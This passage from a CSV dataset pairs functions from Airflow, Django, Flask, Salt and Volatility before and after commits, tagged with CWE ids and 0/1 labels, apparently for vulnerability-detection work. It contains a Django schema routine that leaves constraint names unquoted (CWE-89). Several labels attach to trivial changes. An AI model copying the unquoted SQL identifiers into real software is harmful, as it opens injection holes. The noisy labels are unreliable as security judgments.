            num_scheduled = scheduler._schedule_dag_run(dr3, {dr1.execution_date}, session)
            assert num_scheduled == 0",CWE-703,apache/airflow,efe163a1fddfd66fa402231906e96733efddf8af,"def test_runs_respected_after_clear(self):
        """"""
        Test if _process_task_instances only schedules ti's up to max_active_runs
        (related to issue AIRFLOW-137)
        """"""
        dag = DAG(dag_id='test_scheduler_max_active_runs_respected_after_clear', start_date=DEFAULT_DATE)
        dag.max_active_runs = 3

        BashOperator(task_id='dummy', dag=dag, owner='airflow', bash_command='echo Hi')

        session = settings.Session()
        orm_dag = DagModel(dag_id=dag.dag_id)
        session.merge(orm_dag)
        session.commit()
        session.close()
        dag = SerializedDAG.from_dict(SerializedDAG.to_dict(dag))

        scheduler = SchedulerJob(subdir=os.devnull)
        scheduler.processor_agent = mock.MagicMock()
        scheduler.dagbag.bag_dag(dag, root_dag=dag)
        dag.clear()

        date = DEFAULT_DATE
        dr1 = dag.create_dagrun(
            run_type=DagRunType.SCHEDULED,
            execution_date=date,
            state=State.RUNNING,
        )
        date = dag.following_schedule(date)
        dr2 = dag.create_dagrun(
            run_type=DagRunType.SCHEDULED,
            execution_date=date,
            state=State.RUNNING,
        )
        date = dag.following_schedule(date)
        dr3 = dag.create_dagrun(
            run_type=DagRunType.SCHEDULED,
            execution_date=date,
            state=State.RUNNING,
        )

        # First create up to 3 dagruns in RUNNING state.
        assert dr1 is not None
        assert dr2 is not None
        assert dr3 is not None
        assert len(DagRun.find(dag_id=dag.dag_id, state=State.RUNNING, session=session)) == 3

        # Reduce max_active_runs to 1
        dag.max_active_runs = 1

        # and schedule them in, so we can check how many
        # tasks are put on the task_instances_list (should be one, not 3)
        with create_session() as session:
            num_scheduled = scheduler._schedule_dag_run(dr1, set(), session)
            assert num_scheduled == 1
            num_scheduled = scheduler._schedule_dag_run(dr2, {dr1.execution_date}, session)
            assert num_scheduled == 0
            num_scheduled = scheduler._schedule_dag_run(dr3, {dr1.execution_date}, session)
            assert num_scheduled == 0"
,UNKNOWN,UNKNOWN,tests/api_connexion/schemas/test_dag_schema.py,1,"def test_serialize_test_dag_schema(url_safe_serializer):
    dag_model = DagModel(
        dag_id=""test_dag_id"",
        root_dag_id=""test_root_dag_id"",
        is_paused=True,
        is_active=True,
        is_subdag=False,
        fileloc=""/root/airflow/dags/my_dag.py"",
        owners=""airflow1,airflow2"",
        description=""The description"",
        schedule_interval=""5 4 * * *"",
        tags=[DagTag(name=""tag-1""), DagTag(name=""tag-2"")],
    )
    serialized_dag = DAGSchema().dump(dag_model)

    assert {
        ""dag_id"": ""test_dag_id"",
        ""dag_display_name"": ""test_dag_id"",
        ""description"": ""The description"",
        ""fileloc"": ""/root/airflow/dags/my_dag.py"",
        ""file_token"": url_safe_serializer.dumps(""/root/airflow/dags/my_dag.py""),
        ""is_paused"": True,
        ""is_active"": True,
        ""is_subdag"": False,
        ""owners"": [""airflow1"", ""airflow2""],
        ""root_dag_id"": ""test_root_dag_id"",
        ""schedule_interval"": {""__type"": ""CronExpression"", ""value"": ""5 4 * * *""},
        ""tags"": [{""name"": ""tag-1""}, {""name"": ""tag-2""}],
        ""next_dagrun"": None,
        ""has_task_concurrency_limits"": True,
        ""next_dagrun_data_interval_start"": None,
        ""next_dagrun_data_interval_end"": None,
        ""max_active_runs"": 16,
        ""max_consecutive_failed_dag_runs"": 0,
        ""next_dagrun_create_after"": None,
        ""last_expired"": None,
        ""max_active_tasks"": 16,
        ""last_pickled"": None,
        ""default_view"": None,
        ""last_parsed_time"": None,
        ""scheduler_lock"": None,
        ""timetable_description"": None,
        ""has_import_errors"": None,
        ""pickle_id"": None,
    } == serialized_dag",CWE-703,apache/airflow,8c44bcb50803cad1595a8586058db67d5cc0ce2f,"def test_serialize_test_dag_schema(url_safe_serializer):
    dag_model = DagModel(
        dag_id=""test_dag_id"",
        root_dag_id=""test_root_dag_id"",
        is_paused=True,
        is_active=True,
        is_subdag=False,
        fileloc=""/root/airflow/dags/my_dag.py"",
        owners=""airflow1,airflow2"",
        description=""The description"",
        schedule_interval=""5 4 * * *"",
        tags=[DagTag(name=""tag-1""), DagTag(name=""tag-2"")],
    )
    serialized_dag = DAGSchema().dump(dag_model)

    assert {
        ""dag_id"": ""test_dag_id"",
        ""description"": ""The description"",
        ""fileloc"": ""/root/airflow/dags/my_dag.py"",
        ""file_token"": url_safe_serializer.dumps(""/root/airflow/dags/my_dag.py""),
        ""is_paused"": True,
        ""is_active"": True,
        ""is_subdag"": False,
        ""owners"": [""airflow1"", ""airflow2""],
        ""root_dag_id"": ""test_root_dag_id"",
        ""schedule_interval"": {""__type"": ""CronExpression"", ""value"": ""5 4 * * *""},
        ""tags"": [{""name"": ""tag-1""}, {""name"": ""tag-2""}],
        ""next_dagrun"": None,
        ""has_task_concurrency_limits"": True,
        ""next_dagrun_data_interval_start"": None,
        ""next_dagrun_data_interval_end"": None,
        ""max_active_runs"": 16,
        ""max_consecutive_failed_dag_runs"": 0,
        ""next_dagrun_create_after"": None,
        ""last_expired"": None,
        ""max_active_tasks"": 16,
        ""last_pickled"": None,
        ""default_view"": None,
        ""last_parsed_time"": None,
        ""scheduler_lock"": None,
        ""timetable_description"": None,
        ""has_import_errors"": None,
        ""pickle_id"": None,
    } == serialized_dag"
,UNKNOWN,UNKNOWN,django/db/backends/schema.py,1,"def _alter_field(self, model, old_field, new_field, old_type, new_type,
                     old_db_params, new_db_params, strict=False):
        """"""Actually perform a ""physical"" (non-ManyToMany) field update.""""""

        # Has unique been removed?
        if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
            # Find the unique constraint for this field
            constraint_names = self._constraint_names(model, [old_field.column], unique=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if old_field.rel and old_field.db_constraint:
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
                fks_dropped.add((old_field.column,))
                self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
        # Drop incoming FK constraints if we're a primary key and things are going
        # to change.
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.get_all_related_objects():
                rel_fk_names = self._constraint_names(rel.model, [rel.field.column], foreign_key=True)
                for fk_name in rel_fk_names:
                    self.execute(self._delete_constraint_sql(self.sql_delete_fk, rel.model, fk_name))
        # Removed an index?
        if (old_field.db_index and not new_field.db_index and
                not old_field.unique and not
                (not new_field.unique and old_field.unique)):
            # Find the index for this field
            index_names = self._constraint_names(model, [old_field.column], index=True)
            if strict and len(index_names) != 1:
                raise ValueError(""Found wrong number (%s) of indexes for %s.%s"" % (
                    len(index_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for index_name in index_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            constraint_names = self._constraint_names(model, [old_field.column], check=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self.sql_rename_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""old_column"": self.quote_name(old_field.column),
                ""new_column"": self.quote_name(new_field.column),
                ""type"": new_type,
            })
        # Next, start accumulating actions to do
        actions = []
        post_actions = []
        # Type change?
        if old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(model._meta.db_table, new_field.column, new_type)
            actions.append(fragment)
            post_actions.extend(other_actions)
        # Default change?
        old_default = self.effective_default(old_field)
        new_default = self.effective_default(new_field)
        if old_default != new_default:
            if new_default is None:
                actions.append((
                    self.sql_alter_column_no_default % {
                        ""column"": self.quote_name(new_field.column),
                    },
                    [],
                ))
            else:
                if self.connection.features.requires_literal_defaults:
                    # Some databases can't take defaults as a parameter (oracle)
                    # If this is the case, the individual schema backend should
                    # implement prepare_default
                    actions.append((
                        self.sql_alter_column_default % {
                            ""column"": self.quote_name(new_field.column),
                            ""default"": self.prepare_default(new_default),
                        },
                        [],
                    ))
                else:
                    actions.append((
                        self.sql_alter_column_default % {
                            ""column"": self.quote_name(new_field.column),
                            ""default"": ""%s"",
                        },
                        [new_default],
                    ))
        # Nullability change?
        if old_field.null != new_field.null:
            if new_field.null:
                actions.append((
                    self.sql_alter_column_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
            else:
                actions.append((
                    self.sql_alter_column_not_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
        if actions:
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters:
                sql, params = tuple(zip(*actions))
                actions = [("", "".join(sql), reduce(operator.add, params))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""changes"": sql,
                    },
                    params,
                )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # Added a unique?
        if not old_field.unique and new_field.unique:
            self.execute(self._create_unique_sql(model, [new_field.column]))
        # Added an index?
        if (not old_field.db_index and new_field.db_index and
                not new_field.unique and not
                (not old_field.unique and new_field.unique)):
            self.execute(self._create_index_sql(model, [new_field], suffix=""_uniq""))
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            rels_to_update.extend(new_field.model._meta.get_all_related_objects())
        # Changed to become primary key?
        # Note that we don't detect unsetting of a PK, as we assume another field
        # will always come along and replace it.
        if not old_field.primary_key and new_field.primary_key:
            # First, drop the old PK
            constraint_names = self._constraint_names(model, primary_key=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of PK constraints for %s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_pk, model, constraint_name))
            # Make the new one
            self.execute(
                self.sql_create_pk % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_pk"")),
                    ""columns"": self.quote_name(new_field.column),
                }
            )
            # Update all referencing columns
            rels_to_update.extend(new_field.model._meta.get_all_related_objects())
        # Handle our type alters on the other end of rels from the PK stuff above
        for rel in rels_to_update:
            rel_db_params = rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            self.execute(
                self.sql_alter_column % {
                    ""table"": self.quote_name(rel.model._meta.db_table),
                    ""changes"": self.sql_alter_column_type % {
                        ""column"": self.quote_name(rel.field.column),
                        ""type"": rel_type,
                    }
                }
            )
        # Does it have a foreign key?
        if new_field.rel and \
           (fks_dropped or (old_field.rel and not old_field.db_constraint)) and \
           new_field.db_constraint:
            self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
        # Rebuild FKs that pointed to us if we previously had to drop them
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.get_all_related_objects():
                self.execute(self._create_fk_sql(rel.model, rel.field, ""_fk""))
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            self.execute(
                self.sql_create_check % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_check"")),
                    ""column"": self.quote_name(new_field.column),
                    ""check"": new_db_params['check'],
                }
            )
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if not self.skip_default(new_field) and new_field.default is not None:
            sql = self.sql_alter_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""changes"": self.sql_alter_column_no_default % {
                    ""column"": self.quote_name(new_field.column),
                }
            }
            self.execute(sql)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()",CWE-89,django/django,83cd18633fb13924d8a50a1cd4ed21cb9552a635,"def _alter_field(self, model, old_field, new_field, old_type, new_type,
                     old_db_params, new_db_params, strict=False):
        """"""Actually perform a ""physical"" (non-ManyToMany) field update.""""""

        # Has unique been removed?
        if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
            # Find the unique constraint for this field
            constraint_names = self._constraint_names(model, [old_field.column], unique=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if old_field.rel and old_field.db_constraint:
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
                fks_dropped.add((old_field.column,))
                self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
        # Drop incoming FK constraints if we're a primary key and things are going
        # to change.
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.get_all_related_objects():
                rel_fk_names = self._constraint_names(rel.model, [rel.field.column], foreign_key=True)
                for fk_name in rel_fk_names:
                    self.execute(self._delete_constraint_sql(self.sql_delete_fk, rel.model, fk_name))
        # Removed an index?
        if (old_field.db_index and not new_field.db_index and
                not old_field.unique and not
                (not new_field.unique and old_field.unique)):
            # Find the index for this field
            index_names = self._constraint_names(model, [old_field.column], index=True)
            if strict and len(index_names) != 1:
                raise ValueError(""Found wrong number (%s) of indexes for %s.%s"" % (
                    len(index_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for index_name in index_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            constraint_names = self._constraint_names(model, [old_field.column], check=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self.sql_rename_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""old_column"": self.quote_name(old_field.column),
                ""new_column"": self.quote_name(new_field.column),
                ""type"": new_type,
            })
        # Next, start accumulating actions to do
        actions = []
        post_actions = []
        # Type change?
        if old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(model._meta.db_table, new_field.column, new_type)
            actions.append(fragment)
            post_actions.extend(other_actions)
        # Default change?
        old_default = self.effective_default(old_field)
        new_default = self.effective_default(new_field)
        if old_default != new_default:
            if new_default is None:
                actions.append((
                    self.sql_alter_column_no_default % {
                        ""column"": self.quote_name(new_field.column),
                    },
                    [],
                ))
            else:
                if self.connection.features.requires_literal_defaults:
                    # Some databases can't take defaults as a parameter (oracle)
                    # If this is the case, the individual schema backend should
                    # implement prepare_default
                    actions.append((
                        self.sql_alter_column_default % {
                            ""column"": self.quote_name(new_field.column),
                            ""default"": self.prepare_default(new_default),
                        },
                        [],
                    ))
                else:
                    actions.append((
                        self.sql_alter_column_default % {
                            ""column"": self.quote_name(new_field.column),
                            ""default"": ""%s"",
                        },
                        [new_default],
                    ))
        # Nullability change?
        if old_field.null != new_field.null:
            if new_field.null:
                actions.append((
                    self.sql_alter_column_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
            else:
                actions.append((
                    self.sql_alter_column_not_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
        if actions:
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters:
                sql, params = tuple(zip(*actions))
                actions = [("", "".join(sql), reduce(operator.add, params))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""changes"": sql,
                    },
                    params,
                )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # Added a unique?
        if not old_field.unique and new_field.unique:
            self.execute(self._create_unique_sql(model, [new_field.column]))
        # Added an index?
        if (not old_field.db_index and new_field.db_index and
                not new_field.unique and not
                (not old_field.unique and new_field.unique)):
            self.execute(self._create_index_sql(model, [new_field], suffix=""_uniq""))
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            rels_to_update.extend(new_field.model._meta.get_all_related_objects())
        # Changed to become primary key?
        # Note that we don't detect unsetting of a PK, as we assume another field
        # will always come along and replace it.
        if not old_field.primary_key and new_field.primary_key:
            # First, drop the old PK
            constraint_names = self._constraint_names(model, primary_key=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of PK constraints for %s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_pk, model, constraint_name))
            # Make the new one
            self.execute(
                self.sql_create_pk % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self._create_index_name(model, [new_field.column], suffix=""_pk""),
                    ""columns"": self.quote_name(new_field.column),
                }
            )
            # Update all referencing columns
            rels_to_update.extend(new_field.model._meta.get_all_related_objects())
        # Handle our type alters on the other end of rels from the PK stuff above
        for rel in rels_to_update:
            rel_db_params = rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            self.execute(
                self.sql_alter_column % {
                    ""table"": self.quote_name(rel.model._meta.db_table),
                    ""changes"": self.sql_alter_column_type % {
                        ""column"": self.quote_name(rel.field.column),
                        ""type"": rel_type,
                    }
                }
            )
        # Does it have a foreign key?
        if new_field.rel and \
           (fks_dropped or (old_field.rel and not old_field.db_constraint)) and \
           new_field.db_constraint:
            self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
        # Rebuild FKs that pointed to us if we previously had to drop them
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.get_all_related_objects():
                self.execute(self._create_fk_sql(rel.model, rel.field, ""_fk""))
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            self.execute(
                self.sql_create_check % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self._create_index_name(model, [new_field.column], suffix=""_check""),
                    ""column"": self.quote_name(new_field.column),
                    ""check"": new_db_params['check'],
                }
            )
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if not self.skip_default(new_field) and new_field.default is not None:
            sql = self.sql_alter_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""changes"": self.sql_alter_column_no_default % {
                    ""column"": self.quote_name(new_field.column),
                }
            }
            self.execute(sql)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/cli.py,0,"def __init__(self, loader, use_eager_loading=None):
        self.loader = loader
        self._app = None
        self._lock = Lock()
        self._bg_loading_exc = None

        if use_eager_loading is None:
            use_eager_loading = os.environ.get(""WERKZEUG_RUN_MAIN"") != ""true""

        if use_eager_loading:
            self._load_unlocked()
        else:
            self._load_in_background()",,pallets/flask,c3f923d0e0aba3ed5b6013c5d022021e4ae059cf,"def __init__(self, loader, use_eager_loading=None):
        self.loader = loader
        self._app = None
        self._lock = Lock()
        self._bg_loading_exc_info = None

        if use_eager_loading is None:
            use_eager_loading = os.environ.get(""WERKZEUG_RUN_MAIN"") != ""true""

        if use_eager_loading:
            self._load_unlocked()
        else:
            self._load_in_background()"
,UNKNOWN,UNKNOWN,salt/states/boto_vpc.py,1,"def route_table_present(name, vpc_name=None, vpc_id=None, routes=None,
                        subnet_ids=None, subnet_names=None, tags=None,
                        region=None, key=None, keyid=None, profile=None):
    '''
    Ensure route table with routes exists and is associated to a VPC.

    This function requires boto3 to be installed if nat gatewyas are specified.

    Example:

    .. code-block:: yaml

        boto_vpc.route_table_present:
          - name: my_route_table
          - vpc_id: vpc-123456
          - routes:
            - destination_cidr_block: 0.0.0.0/0
              internet_gateway_name: InternetGateway
            - destination_cidr_block: 10.10.11.0/24
              instance_id: i-123456
            - destination_cidr_block: 10.10.12.0/24
              interface_id: eni-123456
            - destination_cidr_block: 10.10.13.0/24
              instance_name: mygatewayserver
          - subnet_names:
            - subnet1
            - subnet2

    name
        Name of the route table.

    vpc_name
        Name of the VPC with which the route table should be associated.

    vpc_id
        Id of the VPC with which the route table should be associated.
        Either vpc_name or vpc_id must be provided.

    routes
        A list of routes.  Each route has a cidr and a target.

    subnet_ids
        A list of subnet ids to associate

    subnet_names
        A list of subnet names to associate

    tags
        A list of tags.

    region
        Region to connect to.

    key
        Secret key to be used.

    keyid
        Access key to be used.

    profile
        A dict with region, key and keyid, or a pillar key (string) that
        contains a dict with region, key and keyid.
    '''
    ret = {'name': name,
           'result': True,
           'comment': '',
           'changes': {}
           }

    _ret = _route_table_present(name=name, vpc_name=vpc_name, vpc_id=vpc_id,
                                tags=tags, region=region, key=key,
                                keyid=keyid, profile=profile)
    ret['changes'] = _ret['changes']
    ret['comment'] = ' '.join([ret['comment'], _ret['comment']])
    if not _ret['result']:
        ret['result'] = _ret['result']
        if ret['result'] is False:
            return ret
    _ret = _routes_present(route_table_name=name, routes=routes, tags=tags,
                           region=region, key=key, keyid=keyid, profile=profile)
    ret['changes'] = dictupdate.update(ret['changes'], _ret['changes'])
    ret['comment'] = ' '.join([ret['comment'], _ret['comment']])
    if not _ret['result']:
        ret['result'] = _ret['result']
        if ret['result'] is False:
            return ret
    _ret = _subnets_present(route_table_name=name, subnet_ids=subnet_ids,
                            subnet_names=subnet_names, tags=tags, region=region,
                            key=key, keyid=keyid, profile=profile)
    ret['changes'] = dictupdate.update(ret['changes'], _ret['changes'])
    ret['comment'] = ' '.join([ret['comment'], _ret['comment']])
    if not _ret['result']:
        ret['result'] = _ret['result']
        if ret['result'] is False:
            return ret
    return ret",CWE-605,saltstack/salt,95174e66f434d208b8ed9ade47baccf1e07f1ec8,"def route_table_present(name, vpc_name=None, vpc_id=None, routes=None,
                        subnet_ids=None, subnet_names=None, tags=None,
                        region=None, key=None, keyid=None, profile=None):
    '''
    Ensure route table with routes exists and is associated to a VPC.

    This function requires boto3 to be installed if nat gatewyas are specified.

    Example:

    .. code-block:: yaml

        boto_vpc.route_table_present:
          - name: my_route_table
          - vpc_id: vpc-123456
          - routes:
            - destination_cidr_block: 0.0.0.0/0
              internet_gateway_name: InternetGateway
            - destination_cidr_block: 10.10.11.0/24
              instance_id: i-123456
            - destination_cidr_block: 10.10.12.0/24
              interface_id: eni-123456
            - destination_cidr_block: 10.10.13.0/24
              instance_name: mygatewayserver
            - subnet_names:
              - subnet1
              - subnet2

    name
        Name of the route table.

    vpc_name
        Name of the VPC with which the route table should be associated.

    vpc_id
        Id of the VPC with which the route table should be associated.
        Either vpc_name or vpc_id must be provided.

    routes
        A list of routes.  Each route has a cidr and a target.

    subnet_ids
        A list of subnet ids to associate

    subnet_names
        A list of subnet names to associate

    tags
        A list of tags.

    region
        Region to connect to.

    key
        Secret key to be used.

    keyid
        Access key to be used.

    profile
        A dict with region, key and keyid, or a pillar key (string) that
        contains a dict with region, key and keyid.
    '''
    ret = {'name': name,
           'result': True,
           'comment': '',
           'changes': {}
           }

    _ret = _route_table_present(name=name, vpc_name=vpc_name, vpc_id=vpc_id,
                                tags=tags, region=region, key=key,
                                keyid=keyid, profile=profile)
    ret['changes'] = _ret['changes']
    ret['comment'] = ' '.join([ret['comment'], _ret['comment']])
    if not _ret['result']:
        ret['result'] = _ret['result']
        if ret['result'] is False:
            return ret
    _ret = _routes_present(route_table_name=name, routes=routes, tags=tags,
                           region=region, key=key, keyid=keyid, profile=profile)
    ret['changes'] = dictupdate.update(ret['changes'], _ret['changes'])
    ret['comment'] = ' '.join([ret['comment'], _ret['comment']])
    if not _ret['result']:
        ret['result'] = _ret['result']
        if ret['result'] is False:
            return ret
    _ret = _subnets_present(route_table_name=name, subnet_ids=subnet_ids,
                            subnet_names=subnet_names, tags=tags, region=region,
                            key=key, keyid=keyid, profile=profile)
    ret['changes'] = dictupdate.update(ret['changes'], _ret['changes'])
    ret['comment'] = ' '.join([ret['comment'], _ret['comment']])
    if not _ret['result']:
        ret['result'] = _ret['result']
        if ret['result'] is False:
            return ret
    return ret"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/core/management/commands/testserver.py,0,"def handle(self, *fixture_labels, **options):
        from django.core.management import call_command
        from django.db import connection

        verbosity = int(options.get('verbosity'))
        interactive = options.get('interactive')
        addrport = options.get('addrport')

        # Create a test database.
        db_name = connection.creation.create_test_db(verbosity=verbosity, autoclobber=not interactive)

        # Import the fixture data into the test database.
        call_command('loaddata', *fixture_labels, **{'verbosity': verbosity})

        # Run the development server. Turn off auto-reloading because it causes
        # a strange error -- it causes this handle() method to be called
        # multiple times.
        shutdown_message = '\nServer stopped.\nNote that the test database, %r, has not been deleted. You can explore it on your own.' % db_name
        call_command('runserver', addrport=addrport, shutdown_message=shutdown_message, use_reloader=False, use_ipv6=options['use_ipv6'])",CWE-Unknown,django/django,59c051d1707ec1c32256193221b6ee2e3e533be5,"def handle(self, *fixture_labels, **options):
        from django.core.management import call_command
        from django.db import connection

        verbosity = int(options.get('verbosity', 1))
        interactive = options.get('interactive', True)
        addrport = options.get('addrport')

        # Create a test database.
        db_name = connection.creation.create_test_db(verbosity=verbosity, autoclobber=not interactive)

        # Import the fixture data into the test database.
        call_command('loaddata', *fixture_labels, **{'verbosity': verbosity})

        # Run the development server. Turn off auto-reloading because it causes
        # a strange error -- it causes this handle() method to be called
        # multiple times.
        shutdown_message = '\nServer stopped.\nNote that the test database, %r, has not been deleted. You can explore it on your own.' % db_name
        call_command('runserver', addrport=addrport, shutdown_message=shutdown_message, use_reloader=False, use_ipv6=options['use_ipv6'])"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/vadinfo.py,0,"def render_text(self, outfd, data):
        if self._config.DUMP_DIR == None:
            debug.error(""Please specify a dump directory (--dump-dir)"")
        if not os.path.isdir(self._config.DUMP_DIR):
            debug.error(self._config.DUMP_DIR + "" is not a directory"")

        for task in data:
            outfd.write(""Pid: {0:6}\n"".format(task.UniqueProcessId))

            # Walking the VAD tree can be done in kernel AS, but to 
            # carve the actual data, we need a valid process AS. 
            task_space = task.get_process_address_space()
            if not task_space:
                outfd.write(""Unable to get process AS\n"")
                continue

            name = task.ImageFileName
            offset = task_space.vtop(task.obj_offset)

            outfd.write(""*"" * 72 + ""\n"")
            for vad in task.VadRoot.traverse():
                # Ignore Vads with bad tags (which we explicitly include as None)
                if vad == None:
                    continue

                # avoid potential invalid values 
                if vad.Start > 0xFFFFFFFF or vad.End > (0xFFFFFFFF << 12):
                    continue

                # Open the file and initialize the data

                vad_start = self.format_value(vad.Start, ""[addrpad]"")
                vad_end = self.format_value(vad.End, ""[addrpad]"")

                path = os.path.join(
                    self._config.DUMP_DIR, ""{0}.{1:x}.{2}-{3}.dmp"".format(
                    name, offset, vad_start, vad_end))

                f = open(path, 'wb')
                if f:
                    range_data = task_space.zread(vad.Start, vad.End - vad.Start + 1)

                    if self._config.VERBOSE:
                        outfd.write(""Writing VAD for {0}\n"".format(path))

                    f.write(range_data)
                    f.close()
                else:
                    outfd.write(""Cannot open {0} for writing\n"".format(path))",,volatilityfoundation/volatility,6c91c521d15f6c6a48629896905366291f241026,"def render_text(self, outfd, data):
        if self._config.DUMP_DIR == None:
            debug.error(""Please specify a dump directory (--dump-dir)"")
        if not os.path.isdir(self._config.DUMP_DIR):
            debug.error(self._config.DUMP_DIR + "" is not a directory"")

        for task in data:
            outfd.write(""Pid: {0:6}\n"".format(task.UniqueProcessId))

            # Walking the VAD tree can be done in kernel AS, but to 
            # carve the actual data, we need a valid process AS. 
            task_space = task.get_process_address_space()
            if not task_space:
                outfd.write(""Unable to get process AS\n"")
                continue

            name = task.ImageFileName
            offset = task_space.vtop(task.obj_offset)

            outfd.write(""*"" * 72 + ""\n"")
            for vad in task.VadRoot.traverse():
                # Ignore Vads with bad tags (which we explicitly include as None)
                if vad == None:
                    continue

                # avoid potential invalid values 
                if vad.Start > 0xFFFFFFFF or vad.End > (0xFFFFFFFF << 12):
                    continue

                # Open the file and initialize the data
                path = os.path.join(
                    self._config.DUMP_DIR, ""{0}.{1:x}.{2:08x}-{3:08x}.dmp"".format(
                    name, offset, vad.Start, vad.End))

                f = open(path, 'wb')
                if f:
                    range_data = task_space.zread(vad.Start, vad.End - vad.Start + 1)

                    if self._config.VERBOSE:
                        outfd.write(""Writing VAD for {0}\n"".format(path))

                    f.write(range_data)
                    f.close()
                else:
                    outfd.write(""Cannot open {0} for writing\n"".format(path))"
,UNKNOWN,UNKNOWN,salt/config.py,1,"def master_config(path):
